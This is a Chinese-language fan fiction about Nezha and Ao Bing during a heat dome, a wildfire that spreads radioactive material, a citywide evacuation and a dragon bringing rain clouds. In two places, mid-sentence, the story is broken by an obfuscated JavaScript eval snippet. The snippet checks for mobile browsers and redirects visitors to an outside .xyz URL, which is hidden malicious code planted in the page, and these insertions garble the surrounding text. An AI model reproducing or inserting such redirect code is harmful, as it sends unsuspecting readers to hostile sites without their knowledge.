敖丙一抬手,做了个拒绝的手势,哪吒便站在一旁等发号施令。 “没事了,吐出来舒服多了……”小龙拿手背抹去嘴唇上多余的水珠,牵着哪吒走回客厅,方才痉挛的肚子如今终于恢复正常状态,咕噜噜地叫着。 敖丙回头看向哪吒,眸子清明得很,语气却软得可爱:“饿了……” 哪吒不禁一笑,仔细瞅着小龙,看敖丙精气神确实是回来了才放心下来,狠狠揉了一把头发便去做饭了。 哪吒唯手熟尔地切好番茄、黄瓜、葱丝,正准备将煮好的面用冰水过一次…… 一拉开制冰层,完了……上次用完了忘了加水,冰箱还没来得及吐冰呢。 哪吒只好端着一大盆面走到敖丙面前:“丙兄,帮个忙,把它变成冷的……” 小龙一挑眉,水青色的眸子含笑地看着小莲藕,而后垂下眼眸,细长的睫毛便将星眸盖住了。纤长的手指插到盆里,只一瞬,那不锈钢盆子就往哪吒手心传来阵阵凉意——自带制冰功能的小龙就是好使。 敖丙随着哪吒去了厨房,帮忙摆好盘,端着一大碗面去了餐桌。酸甜清冽的菜在酷暑时节果真开胃,二人你一口我一口,你侬我侬地把宵夜吃得一干二净。 夜晚的气温仍高居不下,哪吒熟睡着,小龙倒是睡不着,任哪吒把自己当成抱枕,一手在枕头边摸索出自己手机查天气。 凌晨3点,气温39℃,湿度30%,体感温度逼近43℃了 蝉只在晚上才有力气叫唤,敖丙盯着天花板陷入沉思。 温度太高了,一直降不下去,不是好事儿,深夜都这么高温,白天岂还了得…… 他闭上眼去感应云系,龙的权能在末法时代被降低了权重,这个城市方圆百里无云可调遣,它省的云系此刻也不听他调换。 敖丙扭头望向窗外的夜色,一轮皎洁的圆月高悬着,天气好极了,能清晰的看见群星点点,并且这种晴朗无云的“好天气”已经持续两三天了——是典型的热穹顶征象。 敖丙叹口气,希望这BBQ一样的天气赶忙过去,又拿脚勾起被哪吒差点踢飞的空调被盖到二人身上,互相搂着进了梦乡。 “早。”翌日起床,哪吒把还在厨房忙活的敖丙拽过来,在脸上狠狠啵了一口,而后以风卷残席的速度吃完了5cm厚的三文治——小龙做的,他不善厨艺,多做洋人餐,胜在方便。其实是因为洋人餐教程精确极了。 不像小莲藕教他做饭时,满嘴的酌情适量,敖丙手没轻没重的,做的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737055|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太咸就是没味,被打击得多了便决定做个甩手掌柜——反正有哪吒在呢,饿不死自己的。 敖丙上班没哪吒早,便把人送到门口,又去把一瓶椰子水拿出来塞到小莲藕的挎包里。 敖丙手钻进哪吒衣服下摆,拿指尖描摹着腹肌的形状:“注意安全。” 哪吒一下把小龙压在门框上,低头衔住了那片软唇,小力吮咬着,亲够了才把人放开:“你也是,太热了就请个假吧,别把自己弄生病了。” 两手还把玩着敖丙的头发,一边亲一边给小龙编麻花辫,随着唇瓣的分离,打好花的辫子忽得就散开来了,撩拨着哪吒的手背。 “叮——!”电梯到了,敖丙最后又把哪吒啄了一口才把人放走。 “我看你不像龙,倒跟个啄木鸟似的!”哪吒边走去电梯边打趣到。 “那这只啄木鸟也只啄一棵叫哪吒的树!”敖丙倚靠在门框上,目送着哪吒离开。 门重重合上,一队人马整装待发窜上车,viwuviwu--火警车拉着警笛往城市中心飞驰而去。 “民宅起火,东观路104号,楼层共计30层高,起火位置在建筑上段。”哪吒大声复诵着接警中心的信息,红棕色的眸子冷静而坚定,望向一车的战友。 “所有人做好准备,等会儿小李、小王、小张还有老陈,随我进去火场搜救,老黄你做通讯员。” “是!” “都要严阵以待啊!高温时节,大家共克时艰。”气象局下午开会,主任说到。 全市都被热穹顶覆盖了,高温天气已持续了一周有余,敖丙看着高温预警从黄色挂到红色,气象局自己的空调也开始不怎么制冷了,他只能自己从家里带风扇放桌子上吹。 高温天气持续的第13天,发布二级限电方案。敖丙下班回家时,有时候不开车,就坐地铁通勤,他发现很多居民涌入了地铁站进行乘凉。 红色高温预警的当天,社区的物业群响个不停,社区工作人员紧密排查着独居老人,帮忙做好防暑工作,同时将部分居民转移至市统一安排的人防工程处。 哪吒发了微信过来。 “我这边要24小时备勤了,这段日子回不了家,你自己照顾好自己。” “是不是最近火警很多?” “高温,没办法的。” “那你注意安全啊,我等你回家。” “好,你也是,注意避暑,别想着省电不开空调。” 森林火险红色预警第7天,工商业全停,大部分企业选择停工,避免员工在高温环境下通勤工作。 敖丙在办公室里,热得渗出薄汗,只能一边嗦着冰棍一边看数据。 忽然看到一副异常图表,他飞快敲了敲键盘,便把图像投到了大屏幕。 “城市南边的气温监测是什么情况?”眼尖的同事抢先一步把疑惑说出口了。 “怎么飙到50℃了?”很快就有人注意到温度在急剧飙升。 敖丙立刻把图像换成温度辐射图,南边有一片极度高温区域,那是包围着这座城市的群山。 山火来了。 而且该死的天还刮着南风,把那山火吹得愈来愈烈,往城市吹来。 屏幕上,一个一个自动气象站接连终止数据传输——那是大火烧过去了,烈焰连钢铁都吞噬。 窗外骄阳毒辣,照得地上行人寥寥——大多都在公共乘凉处避暑了。知了的尖叫被火警声取代,气象局附近就有个消防局,许是收到信息去出警了。 41.我建议,全城疏散 “所有人立刻上车!立刻!什么都不要管了!”哪吒朝队员吼道,扔下刚接好没多久的山区消防栓,任由水哗啦啦地流。 闻言,众人自知队长的研判有多重要,双手把水炮一扔就往车上冲。 哪吒一下跃上驾驶座,拉动手刹,滚滚热浪热得他额头满是汗珠,防护服内里的衣服也早就汗湿完了。红棕色的眸子震颤着盯着仍旧苍绿的森林,鼻子急切呼吸着。他一脚踩下油门,后驱车轮就转成风火轮般,只等开动的一刻。 “全部上来了吗!”哪吒头往后瞅着,确认所有队员上车后猛地一拉手刹,强烈地推背感把车上所有人都拉了个趔趄。 “后车跟上!我们需要立刻撤出这片区域!”哪吒左手打着方向盘,右手抓着对讲机在公共频道里命令道。消防车利落地往远处逃去。 公共频道里传来其他消防队的应和声,几辆消防车马不停蹄地驶离这条大路,仅不到一分钟,猛火突然自树林中冲出,将方才消防员们还在灭火的区域燃成一片火海。 敖丙放下手机,心跳得跟沸腾的水一样,坐在工位上大口呼吸着,摩挲着左手手腕上的乾坤圈——沉甸甸冰凉凉的,感受不到它主人的情况。 仅一分钟不到,消防车曾停驻的地方就化作吞噬万物的烈火,幸亏那位消防员研判准确,救了许多人的性命。 更要命的是,那监控里能清晰可闻发号施令的人的声音——无比熟悉,正是哪吒。 这是一段高挂热搜的山区监控视频,当火燃烧到监控器时,视频就戛然而止了。山火燃势很猛,一下子就烧了数十里,消防员们正尽力扑救着。可飞火无情,连续点燃着不同区域的干燥树林,饶是全城消防员前去扑救,四面环山的地貌也让人分身乏术。 高温干燥持续了月余,那山上全是干了的树叶树枝,换句话来说山上全是助燃物——敖丙早有预料这山火会燃得很猛,却也料不到山火竟会凶猛至此,而哪吒现在就在火场里面。 可现在没时间给敖丙担心,气象局现在要密切关注各种数据同步给消防,计算好防火带的建造和其他扑灭手段的可行性计算。 好几辆直升飞机载着数吨水基增强剂飞往山区,螺旋桨将气象局的窗户震得噼啪作响。 防空洞内,市民反复刷着实时新闻报道。 “预计5小时内持续刮3级南风!” 风刮着火,一步步逼近城市;风携着火种,将邻近的森林点燃;火光连绵成片。 山火发生后的第六个小时,第一道防火沟失效。 这边的灭了,那边又燃起来了。军/队也加入了扑灭的队伍。 明月高悬,离城区百公里处,已是火光漫天,并且以一公里的时速向城区逼近着。 山火燃起的第16个小时,一搜扑救直升飞机差点被火舌卷入火场,幸亏驾驶员技艺精湛逃出生天。火场的上升气流让空中救援方案失效,所幸烧的都是荒郊野岭,没人住。 第20小时,大火引起火旋风,将火种抛飞到千米之外,将大片树林引燃,形势愈发严峻。黑烟顺着风侵入城区,敖丙外出吃饭时都能闻到若有若无的烟味儿。 第28小时,民众自发加入抗火队伍,将物资源源不断送去大山里,杨戬和孙悟空也告了假,二人开着摩托车搬着一大堆物资在山路里奔驰。 哪吒在轮换休息时抽空打了电话给敖丙。 “情况怎么样?” “自动喷淋系统快阵亡了,水库的水本来就蒸发了很多,现在也快抽干了……” “敖丙……情况不太好,我怕这火真的会烧到城区。这个火,就好像那个时候的洪水一样,我们根本控制不了……” 二人都拿着手机,静默无言,哪吒那头传来用力的喘息声,应该是扑火太累了,还夹杂着群众的吆喝声,纷杂一片。 “哪吒……你,还会回家吗?” “回家。我应该,能回去的。”哪吒对着麦亲了几口,便挂着手机紧急补充饭食了。 第35小时,远方传来一记闷响。 气象局办公室。“接生态环境部紧急抄送!”有人在办公室扯了一嗓子,一副大图被投到屏幕上。 森林中,哪吒听到什么东西报警的声音,便寻声找去,那是一个被挂在驾驶位上盖革计数器。 “东南方向辐射指数快速增长中!” 盖革计数器上数字飙到50uSv。哪吒拍了拍机器,发现指数仍在变大中,他立马跑到另一个消防车上去查看那边的盖革,数值飙到60了。 “能谱分析出来了!” 哪吒立马抓起腰间的对讲机,有条不紊的说:“各单位人员注意,这边两个盖革计数器显示50uSv,辐射濒临界值。” 有一些同样在轮休的,也跟着找起这器具来,公共频道内响起不同的数值报告声。 “是铀238和钚239!”生态环境部给出了测算答案——那是两种不溶于水的辐射物,不过纠结这个也没有用了,现在除了用水根本没有其他扑灭的方法。 山火不知烧了什么东西,竟然烧到了辐射物。 气象局局长的办公室猛地开了门,吓得员工们虎躯一震——局长素来乐呵呵的,待人温和,与世无争,就算下属犯了错,也不会生气骂人,小年轻们都叫她笑面佛。两鬓白发的局长拿着手机连连应和着,脚下生风,秘书夹着电脑在后面急匆匆跟着。 而后局长的目光锁定在某个工位上:“小丙,准备一下,咱们现在立刻去市里开会。” “明姐,你……你先走吧,但是先别走漏风声,市里态度比较暧昧。”局长长叹一口气,做了个有重大风险的决定。 怀孕6个月的明姐连忙站起来向局长鞠躬,背上书包立马去停车场取车了,这是她试管三次好不容易得来的小天使。 敖丙眉头一皱,发现真出大事儿了。 “目前初步推测大火应该是烧到了一个废弃的秘密基地,但是相关资料我们还在紧急调取。”市紧急召开的会议室里,一群黑白配们正讨论着目前的形式。 “现在的情况就是,我们查不到里面到底有多少废料,所以无法预估灾情范围。” “风向是往城区吹的,辐射云会比山火更快抵达城市。” “是不是只要火扑灭了就能控制住辐射物不再被挥发?” “我们已经在撤退志愿参与救火的市民了,防辐射服正紧急调遣过去火情一线。” 人们七嘴八舌讨论着,敖丙看着地形图,走到隔壁消防那边问:“这边,是不是山坡,火一旦蔓延过去了还会有地形辅助,焚风效应会加快山火的前进速度?” 那边的消防员立马抓着地图,眉头紧皱:“是……而且……就目前情况来看,这道防火线也不太可能生效。” “能不能咱们在北边把山烧了,以火攻火,灭了它?”那位小哥在地图上比划着。 “气象上不具备,现在南风加强了。”敖丙看着气象图,气压带加强,北方的冷空气进不来热穹顶,南边的风倒是能畅通无阻进来。 哪吒扭开一瓶矿泉水浇在头上,他的短发已经被汗湿成一缕缕了,现在看起来跟个刺猬头一样。 身边,一些身子敏感的同事已经有呕吐反应了——辐射惹的祸,幸好现在只剩下消防员和军队在扑救,平民已经撤出去了。 哪吒知道这场火已经没救了,火势大、火线长、范围广,水也快抽干了。如果不是风向有变或者天降暴雨,烧到市区也只是时间问题,现在他更担心的是辐射问题,风向加持下,辐射物会比山火更快一步飞到百姓家。 他已经连轴转快两天了,体力离透支也差不了多久。哪吒掏出防护服下,敖丙送 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“预计辐射气体会在16至20小时内抵达城区,30小时内,覆盖我市全境……”计算机上,红色的区域一点点侵蚀着这块生养了百万人的土地。 防空洞内,市民一些刷着新闻,一些老人家临时凑了团打麻将,几个孩子打成一片绕着场跑步,一些社畜啃着干粮端着电脑,还在移动办公。 会议室里的谈话声都沉寂下来,无数双眼睛看向坐在最里面的市长。 独独敖丙望向窗外,这会议室在顶层,日暮西沉,那昏黄的天接着烧黄的山,中间还拉了条黑丝带,好像在搞什么新艺术绘画。山火已经能在城市高楼目视到了。 “山火……能扑灭吗?” “我们定当全力以赴。” “能不能派小队深入废弃基地进行辐射物填埋?” “那里现在已是核心火区,人进不去了。” 一片死寂。 市长大喘着气,好一会儿才做出决定,所有人都站了起来。 “不惜一切代价,控制山火。” “市长……水库的水告急了…空中救援也用不了。” “找其他省的水库捞,防火沟多挖点,不是还能给没燃着的区域淋阻燃剂来着?” “那公众……”生态环境局局长发问。 “现在说出去,全城恐慌,只会让情况更加糟糕!” 敖丙几欲张嘴,又瞟向身前的局长。气象局局长攒着拳,抿着唇。 敖丙觉得还是先请示一下局长为好。 “局长……我想说……要不咱们还是全城疏散吧……” 局长叹着气,压低声音:“几百万人,怎么疏散,到时候引发恐慌,说不定死伤反而更多……各个都把紧自己的脑袋呢!” 凡人自会有各自的利益争取,敖丙不怪他们,但把百姓安危置之不顾,他仍觉得不该。 一些人出去打电话了,许是先通知家属吧。 敖丙深吸一口气,往前一步,站在人群的最前面。 局长欣慰地笑了,他知道他没带错人来。这年头有人迂腐,有人想保自己,可总有人为民请命。 “各位,我建议,即刻全城疏散。” 五十多双眼睛齐齐钉在这个出头鸟身上。 这出头鸟不穿着常规的上黑下白,还把头发染成时髦的颜色,分明是男生的嗓音,却长得中性,还蓄着长发,有违常理。他看着才二十出头,是在一群年过半百的局长部长前,都能当个孙辈的年纪。 “我希望,能立刻开始疏散人民群众。”敖丙见没人回复,清了清嗓子,直起腰杆,看向众人里权能最大的那位。 语气不疾不徐,沉稳得很,不似这个年纪的语气。水青色的眸子平静而坚定,带着一副阅尽世间的模样,不卑不亢。 42.如果我说,云一定会来呢? “阿丙啊,年轻人说话要三思,这城市几百万人,是你说撤退就撤退的事情吗?”没等其他人先反驳,气象局局长就先和敖丙唱起双簧来了。 敖丙一哂,望向上级,心有灵犀地说到:“距离辐射云抵达我市还有16小时,我市公交并未停运,且因长时间的高温,大部分居民都已聚集到人防工程等地,不难召集、进行管理。” “可这消息一旦散播出去,那就是引起全城恐慌,这百万人的规模,太容易被有心之人从中作梗了。” 敖丙摸着乾坤圈,心里就有了底,好像身边有人告诉他,只管做,我一直在你背后呢。 小龙心如明镜:“我市还有其他应急部门在,我国也并非没有过大规模撤离居民的先例。既然我们能有数十万市民志愿救火,我也相信我们会有更多的市民来维持秩序。” 应急管理部的人发话了:“如若紧急调动所有动车高铁及大巴公交,配合交管部门引导,先行做好规划,我认为确实是能够高效撤离人民群众。” 气象局局长心里暗笑,看来这帮老东西,也还是有人愿意拿着退休晚年生活出来做赌的。 “方才研讨会,如果我没记错的话,救火的水资源已经匮乏了吧?” “是,而且山火一旦逾越这道山峰,山火就会在焚风效应下加剧发展,山火很可能会提速,届时逼近城区的时间会大幅缩减。”消防局局长身后一个小年轻站出来,把地图摊开,指着错综复杂的地形图分析道。 市长把老花镜摔到桌上,眼睛虽已灰白,却仍神采奕奕,他双手撑着桌子,问到生态环境部那边:“辐射指数情况如何?” “仍在上涨中。辐射云只能靠水来进行沉降,但火场的上升气流让飞机无法接近。” 城郊,哪吒在山里挖着防火带,周围的人换了一批又一批,不少是身体不适给换下去的。耳边响起一个报警器的声音,他赶忙扔下铲子循声找过去,一个消防员已晕在地上,不省人事。 他赶忙把人扛起来了,自己虽然快累得虚脱,但仍有口气撑着,把人扛在肩上跑着去救助站。 救助站内一大堆伤病员,白大褂忙得不可开交,地上有人吐的血,有人的手裸露出来,皮肤起了红斑,一些更为严重,皮肤像撕贴纸一样剥落下来。 把人放下,哪吒自己也脱了力,赶忙去后勤拆了胶棒补能量,掏出还有一半电的手机给敖丙发信息: “我这边辐射反应有点严重,你那边还好吗?”又忽然发现这话有歧义,连忙补了一句。 “我没什么反应,你不要担心。” 另一边,敖丙还在会议室开会。 “改变策略,准备召开新闻发布会,立刻草拟发言稿,尽量降低公众恐慌情绪;公/安部门配合交通运输部门做好秩序管理,疏散群众;相关部门,不够车的联系外省来支援;党/员充分发挥带头作用,配合疏散行动;优先疏散弱势群体,N95口罩紧急调配发放。南边的一定要尽快撤离!” “消防部门,尽量拖延辐射云和山火的蔓延速度,为群众撤离拖延时间。” “我会在这里呆到最后一刻。”市长把老花镜拿衣服擦干净,重新戴回头上,往后一退坐到皮凳子上,两指揉着眉心,“我来主持新闻发布会。” 各部门得了令,立刻四散开来,井井有条地开展工作,偌大的办公楼里座机、手机的铃声不绝于耳。 敖丙一出门就掏出方才在裤袋里震动的手机——只有一个人的信息他开了震动提示。 电话立刻打了过去,所幸哪吒还在补水,立刻就接了。 “敖丙,你怎么样你还好吗?” “你有没有事?你们那边辐射泄露很严重!” 新闻发布会召开,各大商场、地铁站、人防工程同步播放,人群一片寂静,核泄漏的恐惧笼罩在所有人的头上。 有婴儿在啼哭。 “我没事,我这肉身抗造,你呢?” “我没事,哪吒,你听我说,我们这边现在开始进行全城撤离了。” 不管路上什么道,现在只留下应急方向和疏散车道。大巴车、公交车挤满了人,将一车车人运向高铁动车站,驶上离省的高速公路,私人轿车禁止上路。 “可是……16个小时的窗口期,根本搬不了几百万人。”敖丙靠在墙边,局长去忙着交接东西,还没来得及管他。 “山火……难灭。水真的快没了,这火发了狂,要吃了所有的东西。我们现在从外省调了很多直升飞机来,努力把还没着的树都淋上阻燃剂,或许还能拖上几个小时。” 一批N95口罩送到,引发哄抢,抢不上的老弱病残只能把毛巾打湿,捂住口鼻。 一位壮年抢到了三个口罩,一个给了自己仍有身孕的妻子,一个给了自己尚且年幼的孩子,还有一个,他本想给自己戴上,又看见有一个约莫十岁不到的小女孩,坐在一旁,怔愣看着一哄而上又一哄而散的人群。 “妹妹,你戴上它。”男子单膝跪在小孩面前。 女孩大热天时竟还穿着长袖衫,只见她将袖子撩起,左手腕是深深浅浅的疤,也有未愈的血痂:“哥哥,你戴着吧,我早就不想活了。” 男子二话不说,强硬地把口罩往小女孩耳朵上别住,而后狠狠地揉着小女孩的油头:“你还小,还有很多事情没体验过呢。”而后留下一个潇洒的背影。 他回到痛哭的妻子面前,温柔地牵起女人的手背:“待会车来了,你们立刻就上车,不要管我。”——疏散原则,先撤离孕妇小孩,而后是老弱病残,最后才是青壮年。 “所以现在……只能靠天降大雨来救人间了……”哪吒追了一句,“不过也有洒水飞机来了,在市区喷水,能让辐射颗粒物沉降。” “敖丙啊,你也快离开吧,我……我可能得做最后才撤离的那批。”手腕上的乾坤圈烫极了。敖丙的热泪滴到走廊的地上,他理解哪吒,人在世上有太多身不由己了,神仙也不例外。 杨戬孙悟空都不是军人,早早被撵出山区,现在正在帮忙维护秩序,扯着一个个孕妇小孩塞到车上。啸天就在身边,充当着抚慰犬——现在已经不知道被多少人揉过了,毛发凌乱得很,被那猴子看得笑了好几次。 啸天也不舒服,它是犬类, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752123|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗅觉本就比人要好上许多,已经打了不少喷嚏,得亏是条神犬,耐得住,努力展现着亲和力给百姓们安抚着情绪。 “对了,消防是不是有一种灭山火的办法,叫以火攻火来着?”敖丙自玻璃窗远眺,隔着数百公里看着远方冒黑烟的山头。 “对。就是在大火前面烧出一大片空旷区,等山火到了,前面烧成灰,没得烧了,就自然熄灭了。”哪吒尽量用通俗易懂的话向小龙解释,又抬头看天,这地方的天一片绿一片红的,正是辐射物被烧又四溢开来的颜色,诡异的很,像冥/界里勾魂摄魄的花。 “不过没这条件,一直南风。”哪吒长叹一口气,又把一瓶水喝光了。 “哪吒你……穿防辐射的东西没?” “穿了啊,你呢,N95戴上没?” “在裤袋子里,辐射云还没到,不用太担心。” 各大医院里,手术室仍在进行手术,医护人员手稳得很,丝毫没有惊慌。住院部忙成一团,能动的自己上车,动不了的,救护车载着往外省奔逃。 “哪吒……我爱你……”天灾面前,安慰的话语都太过苍白,唯有直抒的爱意能缓解些许焦躁。 “我也爱你……”哪吒倚在消防车上,扭头看向身后的防火带,一手拿着手机,一手把玩着心口的护心鳞,“我继续去救火了,你……快些逃吧。” “嗯。”敖丙率先挂了电话,正巧,局长也回来找他,正准备一起回气象局。 窗外又有直升机呼啸而过,在安全区域内向森林喷洒阻燃剂。 “局长,我想问一下,如果现在能下雨,会不会改善一下情况?”敖丙把手机踹回口袋里。 “没有云,哪来的雨?”局长笑了,这热穹顶万里无云,能打降雨炮早打了,“而且降雨会导致辐射云变成二维的,渗到土地里,对生态的破坏一样。到时候还会渗到江河湖海里,往下游流去。” 敖丙飞速想着市地形图:“我市地貌北高南低,又四面环山,山区都是无人区,如若在辐射云抵达城区前进行降雨,牺牲一部分地区的生态,将污水困在地形里面……这样的话,越靠北的地方就越安全。” “说得在理,但没云啊?” “如果我说,云一定会来呢?”水青色的眸子渗着非人的眼神,看得局长虎躯一震。 “方案可行性还得找消防和生态环境部测算一下。”局长向敖丙招了招手,右手利索地在手机上滑来滑去。 “王局,我有个方案想问问你,待会28楼会议室见,我叫上侯局。”皮鞋在光滑的瓷砖上飞速敲出声响,老人家行事利落得很,敖丙和秘书跟着老人家飞快的步伐在大楼里走着。电梯得等。局长轻车熟路把消防通道门给开了。 “侯局在我旁边呢。” “那正好,一起吧。”昏暗的消防通道,声控灯被几人的脚步声久违惊醒。 敖丙想,若是降雨方案能成,说不定还能挽救几十万的性命健康,只是自己要食了哪吒的言了。 乾坤圈静静锁在手腕上,太阳照着,四散着神光,小龙摩挲着爱人的信物,自嘲地笑着,进了会议室。 43.天上游龙,凡人亦在自救。 “刚刚,小丙有一个很好的提议。”局长推了推眼镜,环视众人,眼神锐利而威严,“你来说说。” “刚刚研讨会,有人说过可以用水沉降辐射云。”敖丙信步走到消防局局长后面,从他身后的小年轻怀里拿过地图,在桌子上平摊开来。 骨节分明的食指在地形图上熟练比划着:“如果我们能在辐射云抵达城区边缘前进行降雨,加上我市地形北高南低。” 食指从上到下比划着雨水的走向:“携有放射性的雨水就会顺着地势,集聚在北边,而且山区都是无人区。这样的话不仅能争取更多的撤离时间……” “还能将辐射范围尽可能锁在北边,减少经济损失。”生态环境部的人接了话,嘴角抑制不住地上扬。会议室内空调开得蛮低,但众人倒是激动得都渗出薄汗,每个人眼里都放了光。 “甚至还可能把山火也灭了。”那个被抢了地图的小年轻激动地说。敖丙抛过去一个赞赏的眼神。 众人眼里放光,现下终于找到了唯一的破局方法。 “只是,这能下雨吗?”消防局局长问到,眼睛藏在镜片下,看不清神情,他的唇紧抿着,这个方案固然好,只是这一切最关键的地方——雨,还八字没一撇。 “气象上没有任何可以实施人工降雨的可能性。”——万里无云,除了着火的地方天上一块红一块绿的,纵有降雨炮和播洒飞机也没用。 众人沉默,只有空调呜呜地吹着冷气,刚冒出的希望火苗被浇得透透的。 敖丙看着手腕上的乾坤圈,这圈上还带着些纹理,往日戴着,就像小莲藕再摸他手腕一样,如今像小刀一样硌着小龙,又像在挽留他。 敖丙闭上眼,深深吸了一口气,做了个对不起任何所爱之人、却对得起苍生的决定。 被空调吹出的冷气灌入鼻腔,在五脏六腑里生生割了个遍,才混着泣血的痛被呼了出来,而后涌入世间,无影无踪了。 水绿色的眸子张开了,带着坚定和悲怆。神看向世人,世人也同样看向他。 “云会来的。”红唇微启,说出个不切实际的天方夜谭来,众人却不笑,正色看着这个长身玉立的气象员,分明穿的是T恤长裤,气场却比任何人都强。 “风也会来的。”敖丙分明望向消防局那边,手指却能在地图上精确指出地点,他早已能将省的各种地图倒背如流了,“到时候可以用以火攻火的战术灭掉山火。” 消防局局长半信半疑看着他,思索这年轻人为何会将如有神助的事情说得万分确凿。 “降雨炮和飞机播洒的操作就交给你们了,时机由你们定夺,我只能说云和风都会来。”手指在地图上比划着,“风是要从北方来,对吗?” “对。”一众人嘴巴都要张成“O”形了,感觉现在的对话似乎进入了什么玄幻电视剧录制现场。 “云很可能会有辐射物……代我替飞行员说,对不起。”敖丙攥着拳头,纵然这是最好的方案,仍然会有数不清的凡人吸入辐射物,许在接下来的年岁里才渐渐受到病痛的折磨。 几人再度确定了方案后便散了。局长问敖丙,要不要坐车回去。 敖丙向局长鞠了一躬,感谢她这些年的教导和关照,他拉开轿车的门,往后退开一步,示意局长上车。 局长活得久了,一些事情也就不觉得稀奇古怪了,她扒着车门,慈眉善目看向敖丙,略有斟酌了才问到:“所以,你到底是谁呢?” 敖丙温柔注视着子民,笑而不语,水青色的眸子盛着万千星海,轻轻摇了摇头。 局长点点头,不知怎的就笑了,最后朝敖丙缓缓低头致敬,自己钻入车子,把门带上了,不敢劳烦那位耗力气。 汽车走了,敖丙走回大楼里,最后确定了一下云图,便寻了个地方存起衣服手机,而后化身青龙飞向天边。他没摘下那乾坤圈。 他原以为这乾坤圈会掉,不曾想它竟然会自动变大,如今稳稳挂在龙的前爪上。青龙飞往千里之外,那热穹顶的边界处,正挤着许多他们急需的云团,被气压差挡在外面,进不来。 龙扎入云团里,使出浑身解数把云缠在身上,往城区南边运去。 不知搬了多久,才好不容易将几块高积云怼破气压屏障,顺着龙身带起的气流往南方飘去。 一些人在地面惊呼,他们看见了许久未看见的云影——毒辣的太阳不时被云层遮住,让逃命的人们免了几分钟的灼烧之痛。 “敖三公子!你是要搬云进去那块热得要死的地方吗?”值守其他地方的龙看见三太子飞来飞去,不禁打招呼到,两条龙盘踞在天上。 “是啊。好久不见啊,皎星兄!”敖丙不常回东海,但龙族的子民,他个个都认得,哪怕只是个出生几日的小小龙。 “好久不见好久不见!那我也来帮帮忙!”那白龙眼见就要飞来,一起和敖丙搬那块积雨云。 青龙猛地钻到云层前面,拦住小白龙的去路:“不行!你给我回自己的岗位上!”敖丙生气得很,水青色的眸子都快怒成个半圆形了。 小白龙被吓到了,敖三公子素来以温润亲和形象待人,不曾愠怒过。一条白龙呈S形的定在空中,龙吻微微惊讶地张着。 敖丙刚破口大骂完就后悔了,这小白龙不过千岁余,还是个小孩子,应也是刚开始值岗的岁数,本意又善良率直,自己何必要如此凶他。 “我……抱歉,我不是那个意思,只是这件事我一个人去做就好了,你们莫要插手,快回去吧,啊。”他努力把语气放缓,看见小白龙垂着头飞走了,才又卷着云飞向火场。 时间不允许他和后辈细说,只希望,这小白龙日后莫要生他的气。 一朵洁白高耸的云被敖丙搬到火场附近,哪吒虽累得热得满头大汗,仍感到心脏一颤,猛地抬头望向天上。这片的树木被砍光了,所以他能直直白白地看见高天之上爱人的身影—— 一抹青色在蓝天下快速穿梭着,带来了一坨坨的白云。连续一月的万里无云,如今天上的白色客人又回来了。 那抹青色和哪吒心有灵犀,二人的视线隔着千里遥遥对视,互相莞尔一笑,又各自忙活着自己的工作了。 敖丙又呵退了几条想来帮忙的后辈。一个人,或者说是一条龙,哼哧哼哧地孜孜不倦搬了快6小时。 孙悟空和杨戬刚把一群老人家搀上大巴后,就感受到了天上那熟悉的气息,二人皱着眉头抬头,便看见那好弟兄正在天上忙活了,他们心里暗道不好,寻了个由头遁走,忙化回神身往天上赶。 “敖丙——!” 青龙听见熟悉的声音,无奈一笑,把云和自己都停了下来,青色的龙瞳看着老友,万般不舍。 “你疯了?逆天而行!要不要命了!”杨戬二话不说,就想把龙扯回地上,奈何那龙老大,又死倔,纹丝不动,跟犯二的啸天一样。 孙大圣急得团团转,总不能一金箍棒打下去把敖丙打到地上。终于想到一个好法子了,他抓耳挠腮地在青龙前晃来晃去:“你有没有想过哪吒?哪吒他知道这事儿吗?” “哪吒他……知道,但他傻,他、也不知道……”青龙垂着头,眼眶一酸就要落泪了,高翘的龙尾巴也垂了下来,挂在云端,跟条坨了的面条一样。 “你们……你们不要和他说,我自愿的……别和他说……” 能瞒一会儿是一会儿吧,得亏小莲藕素来是个直脑袋,又不爱读书,要不然刚刚非得立马化出法相把自己扯走。 或许也不会,其实大家都理解现在的形势的,不到万不得已,谁也不愿冒这风险。 另外两位神仙恨得啊,可于情于理,他们都不能管这只青龙,管了也没用,敖丙怎会听呢,他满脑子的苍生黎民。他们跟着青龙在天上飞来飞去,又劝了好一会儿,发现这敖丙是真的视死如归了。 清源妙道真君和齐天大圣对视着摇头,只得往东海飞去,他们没有司雨掌风搬云的权能,爱莫能助。 “局长!北风来了!带着高积云来了!”气象局内,所有人全神贯注地看着气象图,密切部署着一个缥缈的计划。 “降雨炮和播撒飞机准备好了吗?” “准备好了。” “让飞行员看辐射的知情同意书,如果他不愿意就找其他人。” “如果……没人愿意去呢。” 局长苦笑着,心似有大石压着,哽咽道:“不会的……” “我去!” “我去!” 另一边,机场发起动员,军官已说明这云层极有可能含有辐射物,可能造成不同程度的辐射病,乃至死亡,让大家自行定夺,不强迫任何人上去送死。 可飞行员们却争着要去“光荣”,一支支右手举起来,远超所需飞行员的数量。 “这是长辈想做的事,容得你个小辈说不让做的!”好了,现在轮到敖丙被年长的龙训斥了,纵使敖丙才是真真正正有神职那个,可他仍不敢顶嘴,那条可都是比他父王还老的龙,连他父王都要敬三分。 